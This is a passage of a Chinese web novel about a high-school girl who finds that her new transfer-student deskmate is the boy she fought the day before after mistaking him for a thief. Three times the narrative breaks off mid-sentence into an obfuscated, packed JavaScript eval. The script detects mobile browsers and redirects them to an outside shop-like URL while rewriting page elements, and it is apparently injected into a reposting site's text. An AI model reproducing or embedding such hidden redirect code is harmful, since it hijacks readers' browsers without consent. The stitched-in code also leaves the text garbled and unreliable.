《让风吹过潮夏》 1. 春动 京市已进入十月,天气渐渐变得高深莫测。 上一秒还烈日当空穿短袖,下一秒或许就会出现刮风下雨。 从窗户往外看去,树梢上挂着的树叶尾巴渐渐染了黄。 课间休息时间,总是充满热闹,教室回荡着同学们的欢声笑语,伴随着走廊外的打闹声。 贺书鞅阖眼趴在课桌上休憩。 “书书!”一道清亮欢快的叫喊声忽然响起。 从声音能辨别出距离不算太近。 人大概率是站在门口的。 贺书鞅听得见,奈何眼皮格外沉重,想睁都睁不开。 耳边隐隐约约听到有脚步声在靠近,很快前方位置传来“滋啦”一声,听着应该是椅子被人拖拽时发出的响声。 贺书鞅困意再度袭来,眼看就要跟周公相会。 这时胳膊被一只带着凉意的手搭上,三番两次被打扰,这谁能忍贺书鞅欲要发作。 下一秒,耳边传来一道无比熟悉的声音,那人用力晃动起她的胳膊。 “书书别睡了,快醒醒,大事不好了。” 贺书鞅侧头,努力睁开半只眼,入眼便是是荆那张巴掌大的小脸,此时离她约莫就半尺的距离。 “柿子你什么时候能改改这咋咋呼呼的臭毛病?”贺书鞅嘴上吐槽着,同时伸出手,把是荆的脸往后推。 眼前的人要换作是别人,贺书鞅这会儿已经发作了。 但这人是是荆,这股气只能憋回肚子里去。 “哎呀哎呀,书书你的手注意一下分寸,都把我发型给弄乱了。”是荆抱怨着,抬手去整理被贺书鞅不小心弄乱的发型。 是荆这人除了咋呼,还有一个不算毛病的毛病。 特别爱美。 被是荆这一嗓子喊的,困意都消散了一大半。 贺书鞅手肘撑在桌面上,托着腮帮神情倦倦凝视着面前的少女。 是荆无论是身材还是长相,都完美地遗传她妈妈的优良基因,典型江南女子脸型,精致的杏眼明亮清澈,唇红齿白一笑起来就显得格外灵动可人。 明眸皓齿这个词放在是荆身上再贴切不过。 不过呢,是荆本人与她的长相格外不符。 倒是像她的名字。 荆棘丛里长出的玫瑰,是迷人又危险的存在。 贺书鞅看着是荆慵懒地打了个哈欠,随即唇角勾起一抹愉悦的弧度。 “我的大小姐,别管乱不乱,你的美貌可一点没影响。” 是荆睨了她一眼,笑意直达眼底,“那是,我的美貌自然不是一个发型能影响的,只是啊,跟你站在一起,总是逊色些。” 是荆说这话倒不是酸。 在是荆看来,贺书鞅完全是继承父母的全部优良基因,她的漂亮是属于那种带着攻击性,第一眼就能深刻地记住,精致无瑕的面容下有一双绝美的眼睛,眼尾细长上挑笑起来时会露出懵懂的眼神。 像一只可爱的小羔羊,很轻易就能骗走别人的信任。 实际上,贺书鞅是一只狡黠的小狐狸。 贺书鞅懒懒地坐直身子,抬手轻轻戳了下是荆的脑门,痛斥道:“小柿子,你语文那么好,应该知道各有千秋什么意思吧?” “攀比心态可要不得哦。” “别戳了,脑子本来就不太聪明,戳坏你可要对我负责。”是荆一把握住贺书鞅的手,冲她眨眼笑容逐渐变得谄媚,“这个机会月底就要降临,这次我真的只能仰仗你了,这次跟以往都不一样,是关乎我的未来。” 贺书鞅被是荆这前言不搭后语的说辞整得眉头微蹙,道:“你把我喊醒,不会就是为了跟我说这事吧?” 能跟考试挂钩,又让是荆在乎的东西无非就那几样,以两人从小穿一条裤子长大的关系,贺书鞅当即便猜出缘由。 贺书鞅掀起眼帘白了是荆一眼,完全一点面子都不给,直接戳破她的小计谋,“别说的那么严重,什么未来,不就是决定你寒假能不能出去看你哥哥的演唱会。” “这可不就是关乎我的未来,你想想如果我看不到我哥哥,我就无心学习,无心吃饭,无心睡觉,那我怎么考高分怎么考高校,我的未来可不就被耽误了。”是荆攥着贺书鞅的手,说得声情并茂。 特别真情实感,如果不是贺书鞅了解她,真就会被她给骗到。 贺书鞅啧了一声,抽回自己的手,“打住,这些话你都不知道说多少遍,我耳朵都听出茧子了,耽误你换哥哥速度比换衣服还快吗?” “不耽误吧。” 是荆完全没有被戳破的心虚感,反而更加理直气壮了。 “书书你怎么能这么说我呢,那不叫换,我只是想给全天下的漂亮哥哥们一个家而已,我何错之有?” 贺书鞅顿时失笑,直呼不得了,她还什么重话都没说,是荆这家伙还先委屈上了。 这是让她遇上松弛的神了。 是荆喜欢想一出是一出又不是一天两天,贺书鞅都习惯把它们当做家常便饭。 换以往是荆这种请求,贺书鞅肯定是直接应下。 但,今日不同往日。 “小柿子,这次我恐怕要爱莫能助了。”贺书鞅顿了下,眸光流转冲着是荆笑道,“不过嘛,贺老二跟贺老三你可以随便选一个,我让他们帮你。” 是荆注意力都在她前半段话上,“你干嘛?” “前两天跟贺三去攀岩,我觉得挺好玩就报了个班,集训之前我大部分时间应该要留给攀岩馆,钱都交了不能白白浪费,辅导你这事我只能给你另寻他师。” “还有别的选择吗?” 贺书鞅一时间没反应过来,“什么选择?” “辅导老师。” “一个985华北研究生,一个华理保送生,你有什么不满意?”贺书鞅挺是不解。 是荆垂眸,抬手整理了下校服裙摆,随口道:“贺书延最近干嘛呢?” “贺书延?” 贺书鞅迟疑了下,双眸紧紧盯着是荆,只一眼就看出是荆眼神在躲闪。 事情似乎变得有意思起来了。 贺书鞅勾唇随手拿起书桌上的笔,漫不经心地转动着,眼睛却是没离开,“小柿子,你不对劲啊。” 仅仅是几个字,贺书鞅就捕捉到是荆眼底飞快闪过的一抹情绪。 该不会…… 是荆梗着脖子争辩,“我怎么了,不过就是关心一句贺书延,我有什么不对劲?” 这么大反应,贺书鞅更加想去验证那个看似离谱的想法。 正准备开口,教室右上角的银色音响传来“叮铃铃叮铃铃”。 上课铃声中断了贺书鞅要试探的念头。 “算了放学再说。”贺书鞅说完,忽地又想起是荆进门时说的话,“你刚才想跟我说什么来着?” 铃声让是荆先是劫后余生般松了口气,听到贺书鞅的话,是荆终于想起一开始找贺书鞅的初衷。 可当是荆视线不经意间扫到门口,她立马从椅子上起身。 “不用我说,你马上就知道答案了。” 是荆抛下这句话,就跑回自己的座位。 贺书鞅看着是荆的背影,无奈地摇了下头,心道怎么有一种被这丫头戏耍的感觉。 是荆经常喜欢把话说一半,贺书鞅都习惯了,没太把是荆的话放在心里。 贺书鞅困意又渐渐袭上心来,眼看她的头就要倒在课桌上,讲台上传来老班的声音,把她吓了个激灵,差点忘了这节是班主任刘一诺的课,她想悄悄眯一会儿这个想法看来是没办法实行了。 刚放完国庆长假回来,刘一诺先是在讲台上客气地“问候”几句,随后进入主题。 “还有件非常重要的事,今天我们班里转来一位新同学。”刘一诺目光慈祥地看向门口,冲着门口的人招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202939|197270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,“进来吧新同学。” 随着刘一诺话音落下,不少同学都好奇地把目光投向门口,贺书鞅也不例外。 个别同学在窃窃私语,靠前面的同学在讨论这位转校生的长相。 贺书鞅坐在后面且靠窗,她看不清楚新同学长相,只能隐隐约约看见门口站着一位身材高挑,身穿一袭黑衣的男生。 她挺好奇这人的出现。 高二上学期的课程都过去一个月,此人姗姗来迟。 在众人好奇的目光中,男生步伐不紧不慢走上讲台,站到刘一诺的身旁。 男生个头高瘦挺拔,自然光下他的皮肤似白瓷般,头比肩优越,身穿一件黑色连帽卫衣,下面随意搭着一条黑色牛仔裤,脚踩白色板鞋,他头戴着一顶黑色鸭舌帽,在贺书鞅这个角度只能看到他下半张脸,面部线条流畅硬朗。 最吸引人的莫过于他的心形薄唇。 仅凭目前所看到的,贺书鞅觉得这人长相应该是不错,至少现在看挺有氛围感。 对他的好奇心又多了几分。 刘一诺冲男生笑道:“来吧,向大家介绍一下自己。” “祁津昭,多关照。” 男生的声音低沉又富有磁性,干净透亮如同春风如沐般飘进耳朵。 班级里同学们的讨论声越来越大,大多都是在围绕着这位新同学的容貌,自然也少不了跟贺书鞅抱有一类想法的,这位新同学怎么才入学。 刘一诺双手撑在讲台桌边缘,轻咳了一声,底下的同学们接受到信号,声音渐渐从小再到无,她朗声道:“新同学初来乍到,大家都要热情的帮助我们新同学,让他更快融入到我们一班这个大集体里来。” “老班放心,我们一定好好关照新同学。” “对的。” “……” 班里那几个皮小子你一言我一语,把气氛又带了起来。 刘一诺一抬手,底下的人又就都不敢造次,“行了行了,平时喊你们回答问题一个两个都跟哑了似的,一聊跟学习无关的,你们话是一个比一个多。” 说完,她视线在教室内转了一圈,最终落在后排唯一一个空位上。 然后,刘一诺转头对祁津昭说:“你就坐那吧,书鞅多帮老师带带新同学。” 被点名的贺书鞅应了声好。 祁津昭跟着点了下头,走下讲台。 贺书鞅视线没动,看着他一步步走近。 马上他的真容就要揭晓。 不多时,少年已走到贺书鞅身旁。 贺书鞅偏头,视线往上移,男生正好低下头,两人的视线撞到一块。 帽沿压住的黑发垂在他的眉骨,他的眉眼生的极为好看,眼型偏狭长眼神清冷,垂眸时能看到他的睫毛又长又密,高挺的鼻梁,眼尾那颗褐色的痣成了点睛之笔。 这张脸是真的精致,每一处都是恰到好处的完美。 只是越看越觉得有些眼熟,当他的脸与脑子中的人脸慢慢重叠上,贺书鞅第一反应就是找个地洞钻进去。 这也太巧了。 居然是他。 原来,他叫祁津昭。 同一时间祁津昭垂眼,眉梢微挑看着面前的女孩,唇角微勾眼底闪过一抹意味不明的情绪。 祁津昭左手撑在她的课桌上,微微俯下身,“同学,让让。” 他一靠近,一股清爽的薄荷味道钻入贺书鞅的鼻尖,倒是与他的气息很相衬都属于冷冽那一类。 贺书鞅不自觉多看了他一眼,这时他像是有所感应般向她投来目光。 四目相对,男生漂亮的黑眸盯着她,带着明目张胆的探究,里面还有几分说不清道不明的意味。 贺书鞅怕被他认出,当即别过头,拉着椅子往前倾给他让出位置。 祁津昭将她的一举一动收入眼底,唇角漫不经心往上扬,少顷站直身子从她身后走过。 2. 春动 贺书鞅当惯小霸王,一向天不怕地不怕的人,在这天难得体会了一把什么叫如坐针毡。 更绝的一点是,上课时她感知身侧有一双眼睛在盯着自己,是难以忽视的存在,眼神太过于炙热,丝毫没有掩饰,那人像是有意要让她知道般。 若换做平时,贺书鞅一定会坦荡对上他的视线,保不齐还会压制他,先来个下马威。 可想起昨日种种,她实在是心虚的很。 根本不敢投去半个眼神。 难怪古人常言,勿要做亏心事。 这不就被当事人找上门了。 最惨的是京市一高是全天制学校,中午是不回家的,午休那两个小时是要在学校里度过,贺书鞅不知道该怎么面对祁津昭,她唯一能想到的办法就是躲开他,所以下课铃一响,她会第一时间跑出座位去找是荆,不管三七二十一,拉着人就快步离开教室。 贺书鞅跟是荆打小就是一个院里长大的,两人好的时候能穿一条裤子。 一连两节课都这样,是荆就算再迟钝也察觉出贺书鞅的反常。 “书书,你很反常。”是荆眼尾弧度上扬,褐色的双眸随之落在贺书鞅脸上,“你是在躲什么吗?” 见贺书鞅耷拉着脸不说话,是荆胳膊轻轻肘击了她手臂一下。 “别装聋作哑。” 贺书鞅抬眸看了眼是荆,轻轻叹了口气,她没有瞒的打算,把昨晚从俱乐部出来后,在街边发生的事一五一十讲了出来,说完她又补了句。 “真是够尴尬的,我原想着这笑话闹了就闹了,毕竟京市这么大,以后肯定不会再见,谁曾想,我能这么倒霉,这下好了,不但又遇见,而且还要每天抬头不见低头见,你说我怎么能倒霉成这个鬼样子。” 说来也真是够巧,她跟祁津昭还成了同桌。 贺书鞅心道,好一场孽缘。 脑子不自觉浮现出少年那张清冷的脸,再想到与他对视时的眼神,贺书鞅脑袋都大了。 她想,那家伙大概是认出自己了。 顿时懊恼不已,昨天就不应该那么冲动。 是荆头回见好友栽跟头,一时间来了兴致,手臂搭在贺书鞅肩上,笑着调侃道:“我说,某人不是老自诩天不怕地不怕,怎么这会儿变小怂包了?” 京郊大院,无人不知无人不晓,贺家老幺——贺书鞅打小就是个淘气小霸王,从穿开裆裤的年纪,这小妮子就开始展现她的调皮捣蛋,爬树掏鸟窝,捅马蜂窝,冬天玩水上漂……等等,完全淘的没边,原因无他,只因她是贺家唯一的闺女,上头有三个哥哥护着,常年在大院里“称王称霸”。 随着年龄递增,贺书鞅不像小时候那般肆意捣蛋,但是性子依旧我行我素。 何时有过这般唯唯诺诺。 好友的话,贺书鞅自是不认同的,她偏头不服气得瞪了是荆一眼,“我这不是怂,纯粹就是……” 她心有点虚,小声为自己辩解:“就是没缓过劲儿来,猛地一见就容易想起那尴尬得能让我脚趾抠地的画面。” “我就是尴尬,对,尴尬。”她为自己找补。 是荆切了声,问她:“那你准备怎么办,总不能一直这样躲着吧?” 毕竟按照现在的形势来看,就算能躲得过今天,明天呢?往后呢? 总不能天天都躲。 这问题确实把贺书鞅给问住了。 她一言不发,静静地思考了几秒。 “至少今天先这么着。”贺书鞅是真没把祁津昭从“贼”这个角色里,转变成自己的同桌。 再回想起昨晚结结实实的那一脚,贺书鞅更是不知该如何面对这个她这个新同桌。 “有什么好尴尬,你大大方方的给他道个歉,他男子汉大丈夫总不能跟你一小姑娘计较。”是荆说,“你这么躲躲藏藏不是个事,你们两个搞不好是要同桌到毕业,这事还是早点说开为好。” 这可不是大不大方的问题……她昨天太狠了,给人都打到…… 贺书鞅正要开口,上课铃了。 她含含糊糊来了句:“再说吧,先回去上课,最后一节还是老刘的课,可真够给我受得。” 反正能躲先躲着,实在不行再找机会给他道歉。 是荆笑而不语看了眼贺书鞅。 贺书鞅那点小心思,是荆都不用去深思,既然她心里有数那便随她去。 进教室前,贺书鞅特地往自个坐的那排瞄了眼,瞧见自己旁边座位上,一袭黑衣少年正一动不动趴在课桌上,帽檐将他的脸挡得结结实实,大约是睡着了。 她没来由松了口气,趁人还没醒轻手轻脚地快步回到座位上。 余光忍不住往身侧瞄了眼,男生背对着她,依旧维持之前的睡姿,他似乎很困,刘一诺讲课开着小蜜蜂,偶尔会掺着一段滋啦滋啦的电流声,声音挺大很他愣是没被吵醒。 见此,贺书鞅扭头,眼神驻足在少年身上,上下打量了一番。 少年睡姿慵懒,一只手蜷缩成一个半圆脸埋在上面,另一只手垂直搭在桌子上,修长又白皙的手指微微弯曲着,手掌宽大又有骨感,冷白的皮肤能清晰地看到经络青筋凸起,格外有美感与力量感。 让作为资深手控的贺书鞅不由地多停留了几秒。 几乎在同一时间,上一秒还在熟睡的少年忽然在这时转过头,帽子伴随着他的动作掉落,那双好看的眼睛暴露在视野中,当他抬眼两道视线就这么无措地交汇上。 祁津昭长睫下浅褐色的眼眸深邃幽暗,驻停片刻眼神转而染上漫不经心的笑意。 好似在问,有这么好看吗? 此时贺书鞅心慌乱地跳动着,怦怦地一下又一下。 太倒霉了,偷看被正主当场抓包。 可这次,她没有慌乱别开视线,而是迎着他的目光面不改色继续与他对视。 仿佛在说,就看你能怎么样。 周遭的空气,陷入沉寂中。 就在贺书鞅快要挺不下去时,祁津昭收回视线。 她暗暗松了口气。 好几分钟,她那颗剧烈跳动的心才好不容易静下来。 而脑海又不自觉浮现起“始作俑者”那张被精心雕琢的脸。 贺书鞅抿抿唇。 心中不免感慨,祁津昭这张脸确确实实招摇得很。 毫不夸张说,上帝的宠儿。 让人止不住想多看两眼。 好在这是最后一节课,在这期间里,贺书鞅再也没朝他丢去半个眼神,她还想明白了个事,人果然只有在难熬的时候,才会觉得时间流逝的慢。 贺书鞅算准时间合上课本,下课铃一响,连同手中的笔一并丢进书包,用最快的速度拉上书包的拉链。 她左手攥着书包带,目光锁定在刘一诺的嘴巴上,当刘一诺说出下课二字,她当即提着书包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202940|197270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从教室后面跑了。 那模样仿佛身后有鬼一般,晚一步就缠上。 是荆嘴还没来得及张,贺书鞅人就消失在走廊。 “跑这么快,是忙着去赶飞机吗?”是荆不由得咂舌,无奈地摇了下头,视线若无其事移到贺书鞅座位那边,短暂停留了一秒。 祁津昭幽幽看着消失的背影,唇角浅扯了一抹笑。 贺书鞅这一举动是带了什么心思,他心中已了然。 反正人就在跟前,现在能躲着他,以后那么长时间,她能一直躲下去吗? 长这么大,他还是头一回在一个女孩那里栽跟头,还是一个大跟头。 看来,有很长一段时间,都不会无聊了。 *** 贺书鞅没跑多远,到楼梯口就放慢脚步,走到一半与贺书屹打了个照面。 见她呼吸不匀称,额头还有一层薄汗,贺书屹拧着眉从口袋掏出纸,抽出一张递给帮她擦拭掉汗。 “放学人多,你啊别总是跑着下来,会容易跟人撞上。” 贺书鞅没说话,回头看了眼身后,班里的同学陆陆续续在往这边走,虽然没看到那道黑色的身影,但是她还是拽着贺书屹快步往楼下走。 她所在的班级在五楼,跟贺书屹往下走时别的楼层的学生们正蜂拥而出,人多楼梯拥挤,走太快容易被人冲撞。 “才跟你说完,还走这么快。”贺书屹拽住贺书鞅的书包带子,想让她放慢脚步。 见状,贺书鞅眉头一皱,反手擒住贺书屹的手腕,稍作用力就将人拉到跟前。 贺书屹没想到贺书鞅会这样,回头满脸不可置信看着她,“贺书鞅你干嘛?” “先下去,等一下我再跟你说。” 贺书屹虽然被她搞得满腹疑问,但还是照着她的话去做。 直到两人来到校门口,贺书鞅警惕地回头环视一圈身后,确定没有那人,才敢卸下防备吐口气。 “说说吧,怎么回事?”贺书屹双手环抱在胸前,褐色的眸子望向贺书鞅时装满探究。 贺书鞅垂眸,抿着唇思索了下,不咸不淡道:“没什么,就是柿子想拉我一块去电玩城,我不想去这不躲着她呢。” “真的?”贺书屹不太信。 虽然贺书鞅语气风轻云淡,但是她刚才的举动太有问题。 贺书鞅重重地点了下头,“你要不信,现在给柿子打个电话,你问问是不是有这么一回事。” 说出这句话,贺书鞅心跳都是一上一下的。 贺书屹并没有因为她这句话就选择相信,他目光带着淡淡的审视,与她对视了两秒,才道:“再有这种事,你让是荆来找我,看我怎么收拾那臭丫头。” 她知道,自己成功把贺书屹给骗住了。 贺书鞅提着的心终于放下。 两人一块上了公交车,不过今晚贺书屹跟同学有约,他在半道先下车,贺书鞅还要坐三站才到攀岩馆附近。 下车,她在附近随便找了家面馆,吃完面后她看了下地图,离攀岩馆不远,她决定步行过去,就当消食了。 贺书鞅对城南这边的地形不熟,她是按照导航选着最近的一条路来走,在分叉口拐弯,当她看到前面的巷子口,不由得一愣。 居然是昨天遇到祁津昭的那条巷子。 这也太巧了。 想到祁津昭,贺书鞅的思绪一下子被拉回昨天。 3. 春动 十月初,国庆加上中秋学校一共放了十天假,前面五天贺书鞅放纵得很彻底,每天都把自己关在房间,除了睡觉吃饭,就只干两件事,打游戏跟敲鼓。 连带着作息都不规律,起得来一天两顿饭起不来一天就一顿饭,家里老太太实在看不下去,给了贺书屹一笔钱,生拉硬拽带她去临市玩了几天。 没想到这一趟出来,还让贺书鞅找到个感兴趣的运动。 兄妹二人是中秋前一天回的家。 回来当天贺书鞅又在本市找了个攀岩馆。 连续爬了两个来回,贺书鞅实在吃不消便停下来休息,她口渴想喝水,但是攀岩馆里卖的水都是功能性饮料,喝不惯她便跑出去买。 在回馆的路上,一道不大不小抽泣声让贺书鞅止住往前走的步伐,循声望去最后视线定格在小巷口。 这家攀岩馆是最新开的,场馆的项目丰富多样场地十分辽阔,贺书鞅第一次来,她对这片并不是很熟悉,再加上她并不是一个喜欢多管闲事的性子,仅停了几秒,她又抬脚继续往前走。 就在离场馆还有一百米左右,她再次止住脚步,轻叹了口气转身往回走。 哭泣声还在继续,贺书鞅循声走进那条巷子,一分钟后,她看到有个年纪跟她差不多大的女孩,抱着个破了口的书包蹲在地上哭。 梨花带雨的模样看着好生可怜,一下子又把贺书鞅遇事不平拔刀相助那股热心肠的劲儿给激起,当即就来到女孩身旁。 “你是遇到什么事了吗?”贺书鞅在女孩前面蹲下,柔声询问。 那女孩听到声音愣了半秒,抬头看清来人的长相哭声悄然停滞,眸子还含着未来得及擦掉的泪珠。 记得出门前口袋有装纸。 因为今天是来运动的,贺书鞅上身穿的是运动背心,下身配了条黑色工装裤,她翻找了下口袋最后是在下摆的口袋摸到一包卫生纸。 她抽了张递给面前的女孩,“先擦擦。” 女孩有些局促,但还是接过她递来的纸,小声道:“谢谢。” “能给我说说你怎么了吗?”贺书鞅视线跟随着女孩。 面前的女孩长相一看就是很乖的类型,许是因为哭的时间比较长,她那双杏眼水雾雾的,看着不由得让人心一软。 贺书鞅洞察力比一般人强,善于察言观色,一眼就知道女孩是属于性子较弱容易受欺负的类型。 当即心下已知晓个大概。 肯定是被人欺负了。 只是不管她怎么问缘由,那女孩都固执地直摇头,什么都不肯跟她说。 最后贺书鞅不想再跟她绕下去,直言说要报警,那女孩才终于有所反应,大概是怕她真报警,那女孩把发生的事都交代了。 原来小姑娘是被学校附近的小混混带来这边的,那帮人不知道从哪里知道她身上有钱,把她的钱全被人抢走了,但那些钱并不是她的,而是才收的班费。 几番询问下来,贺书鞅终于搞清楚事情的原委,同时也知道女孩的身份,女孩名叫习洛漪,是北高高一的学生,年纪跟她一样大。 贺书鞅先是安慰了几句,见习洛漪情绪稳定下来后,才温声问:“抢你钱的人,还能找到吗?” 如果能找到人,她还是能帮得上忙,找不到只能求助警察了。 闻言,习洛漪止住哭声,手指向前方不远处的巷口,哭腔中带着鼻音:“还在里面。” “他们几个人?” 撞上这种事,贺书鞅肯定是不可能再袖手旁观,不过理智在线,不会鲁莽行事。 只有知己知彼她才会出手。 “四个,抢我钱的那个男的是里面个头最高的,他穿黑色卫衣,带着一顶黑色的帽子。” 听完习洛漪的描述,贺书鞅了然地点头,“你别哭了,乖乖在这里等着我,钱我去帮你拿回来。” 今天那帮人遇到她贺书鞅,只能说是倒大霉了。 有段时间没打拳了,手确实是痒痒。 贺书鞅起身正要走,手腕忽然被人拉住,她回头去看,不是习洛漪还能是谁。 她双眸盯着习洛漪看了两秒,一下子就明白她是什么意思,“别担心,我没事,你乖乖在这里等着我就行。” “不然我们还是报警吧……”习洛漪不想报警是怕那些人会后面再找她报复。 但是比起被报复,习洛漪更不想面前这个漂亮的女孩为自己涉险。 对方可是四个身强体壮的男生,而贺书鞅只是一个女生,就算她再厉害也没办法一打四。 更何况,贺书鞅这么漂亮的一个女孩,万一那些人对她起了什么歹念,一想到这儿习洛漪直摇头。 “我们……我们报警吧。”说着,习洛漪就慌忙去摸书包 贺书鞅一把握住她的手,“你信我吗?” 少女的声音轻柔又带着一种让人莫名值得信服的魔力。 好像,无论遇到什么事,只要有她在,都能够迎刃而解。 习洛漪不由得失神,盯着她的脸缓缓点了下头,“我信你。” “那你乖乖在这里等着,我很快就回来。”贺书鞅知道自己一个人去习洛漪会担心,安抚似地摸了下她的脑袋。 “那你……一定要小心。” “好。”贺书鞅冲她浅浅一笑。 见她答应习洛漪这才松手,贺书鞅头也不回,快步朝着巷子口走去。 刚往巷子里走几步,贺书鞅迎面就与一个身穿黑色卫衣,头戴黑色鸭舌帽的男生撞上,那男生正在低头玩手机。 贺书鞅目光带着审视,细细将人从上到下打量了个遍。 男生身形高瘦却不单薄,很随意的穿搭在他身上确是非常有型,像是个行走的衣架子,他头顶的帽檐压得很低,贺书鞅只能看到他下半张脸。 鼻高唇薄,轮廓线条流畅,仅凭这些也能看出此人长相还不错。 虽然眼前的男生与习洛漪的描述符合,但是从他的气质来看,应该是干不出抢人小姑娘钱这种事。 别看他穿着普通,但价格却是一点也不普通。 贺书鞅一眼就认出他那套穿搭出自一个外国的小众品牌,这个牌子主做青少年系列的衣服,别看是个小众品牌,但是价格一点不便宜,质量跟质感都不错。 去年宋葭昕在巴黎比赛,回来就给贺书鞅带了两套这个牌子的衣服。 再说男生脚下那双棕白色板鞋,是某一线品牌家今年的限定款,用的是鳄鱼皮纹路,官方售价五万左右。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202941|197270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男生年纪看着跟自己差不多,能穿的起这一身,想必家境是不错的,这让贺书鞅坚定刚才的想法。 当她打算收回视线,眼睛忽地被一抹粉给吸引,正是男生手上拿着的那个粉色的小布包。 颜色外形都跟习洛漪描述的一样,贺书鞅顿时觉得自己看走眼了。 一股无名的火刹时涌上心头,她走到男生跟前,一把掀开他的帽子。 男生明显没料到会这样,他抬眸贺书鞅看到的是一双干净的黑眸,眼底带着微不可察的惊愕。 当贺书鞅看清楚那人的长相,冷冽的眼神都淡下几分,但还是遵循本心将心里的想法一字不落说出。 “真是白瞎了这副好皮囊。” 闻言,祁津昭眉头紧锁,眼神冷冽锁住贺书鞅的脸,语气淡漠:“什么意思?” 其实,从一开始祁津昭就注意到女生打量的目光,只是她并未对自己做出什么逾越的举动,他就没当一回事。 可现在她忽然窜到自己跟前,不仅掀掉他的帽子,还莫名其妙来了这么一句,纵使祁津昭家教再好,也是止不住想发火。 贺书鞅凝眉与他对视,随即漫不经心地冷笑一声,开口嗓音平平听不出起伏:“你好意思问我,人面兽心的坏家伙,把你手里这个粉色的钱袋子给我。” 听到人面兽心四字祁津昭愣了两秒,漆黑的眸子沉了几分,似笑非笑看着比自己矮了半个头的女生,薄唇轻启:“我要是不给呢?” 女生像是早就料想到他会这样说,神色如常,不过祁津昭还是捕捉到她眼底一闪而过的凉意。 “那你就别怪我对你不客气。”贺书鞅说这话时心里已有了主意。 祁津昭仿佛听到什么笑话般。 他嗤笑道:“你打算怎么对我不客气。” 贺书鞅没错过他眼底一闪而过的轻蔑。 也不怪他会这样。 贺书鞅身高一米七二,在女生堆里是出类拔萃的存在,然而跟面前的男生一比较,她的身高就多少有些不够看,人家比她足足高出半个头,目测他的身高应该在一米九左右。 虽然身高比不过,但别的方面可就不一定了。 特别是在武力值这方面,贺书鞅是非常有自信的。 下一秒,她凤眼微弯,冲他勾唇一笑,她这一笑,男生神情明显怔愣了一下。 就是现在,贺书鞅果断伸手,一把抢过他手里的钱袋子,转身撒开腿就是跑。 令她意外的是,这小子的反应比她想象中的要迅速,她不过才跑出两步,他就已经追上来。 祁津昭挡在贺书鞅面前,张开双臂拦住她的去路。 贺书鞅掀起眼帘看了他一眼,沉声道:“让开。” 他手伸到贺书鞅跟前,神情寡淡:“东西还我。” “这个东西是你的嘛,就来跟我要。” 给贺书鞅肯定是不可能给他的。 “还我。”祁津昭语气不耐地又重复了遍。 贺书鞅冷哼一声,毫不客气地反问:“不还,你能把我怎么样?” 说出这句话,贺书鞅拿钱袋子的手已经背到身后,同时她的右腿往后挪了一步。 祁津昭置若罔闻,“只能得罪了。” 5. 春动 谁能料想到,事情还会发生反转,且是那么有戏剧性。 如果有提前预知的能力,贺书鞅知道后面会发生这么多事,或许一开始她就不会选择鲁莽出手。 离开警局,后来发生的事她是一概不知。 许是因为中秋的缘故,这晚的月亮又大又圆。 全家除了贺书鞅远在国外的父母没回来,贺家另外两兄弟今晚都在家陪着老爷子和老太太过节。 贺家老爷子贺骁,与爱妻膝下有三子,大儿子贺景亭、贺景颂还有次子贺景渊,他年岁已高,明面上还是集团掌权人,实际这两年已经退居幕后,集团大部分权限都交给大儿子跟二儿子,次子也就是贺书鞅的父亲,根本无心继承家业,一年三百六十五天有三百六十天天南地北跑,只为能够创作出一部有意义的纪录片。 贺景亭负责贺家海外市场常年国内国外两地飞,贺景颂则是留在国内负责管控集团的大小事宜,不过贺书鞅这个二叔跟她父亲一样是个半吊子,不过二叔有个好儿子,也就是贺书鞅的大哥贺书延,年仅二十一行事作风像极贺骁,又或者说更甚,他的手段带着年轻人该有狠辣劲儿,帮集团拿下了不少重点项目,贺二叔撂下的担子贺书延又给挑起来了。 老爷子总说,这么多子孙里唯独贺书延最像他。 吃完饭,贺骁把贺家兄弟还有孙子贺书延喊去书房议事。 其余人陪着老太太在院子里喝茶赏月。 贺书鞅是贺家三代唯一的女孩,是被所有人捧在手心里长大的,话题自然是围绕着她展开。 陪着长辈聊了会儿天,大家都看得出贺书鞅是在硬聊,主动放她去玩。 讲太多话,贺书鞅这会儿口干舌燥,连喝了有半瓶水,缓过来劲儿她向凉亭走去。 贺书屹在打游戏,一直叽叽喳喳吵得人头大,她拧着眉选择自动屏蔽,从他身后绕过,在摇椅上坐下。 贺书鞅双手垫在脑勺后,姿态闲散地晃动摇椅,悬挂在头顶的月亮又大又圆,她从口袋掏出手机,对着天空拍了张,正点开刚才拍的图查看,忽地看到微信弹出一条消息。 她顺手点进去,直接跳到微信好友申请的界面。 最新好友申请界面多了一个动漫卡通头像的微信,名字很喜庆,两个字“喜喜”,仔细看网名下面还有一行备注。 我是习洛漪。 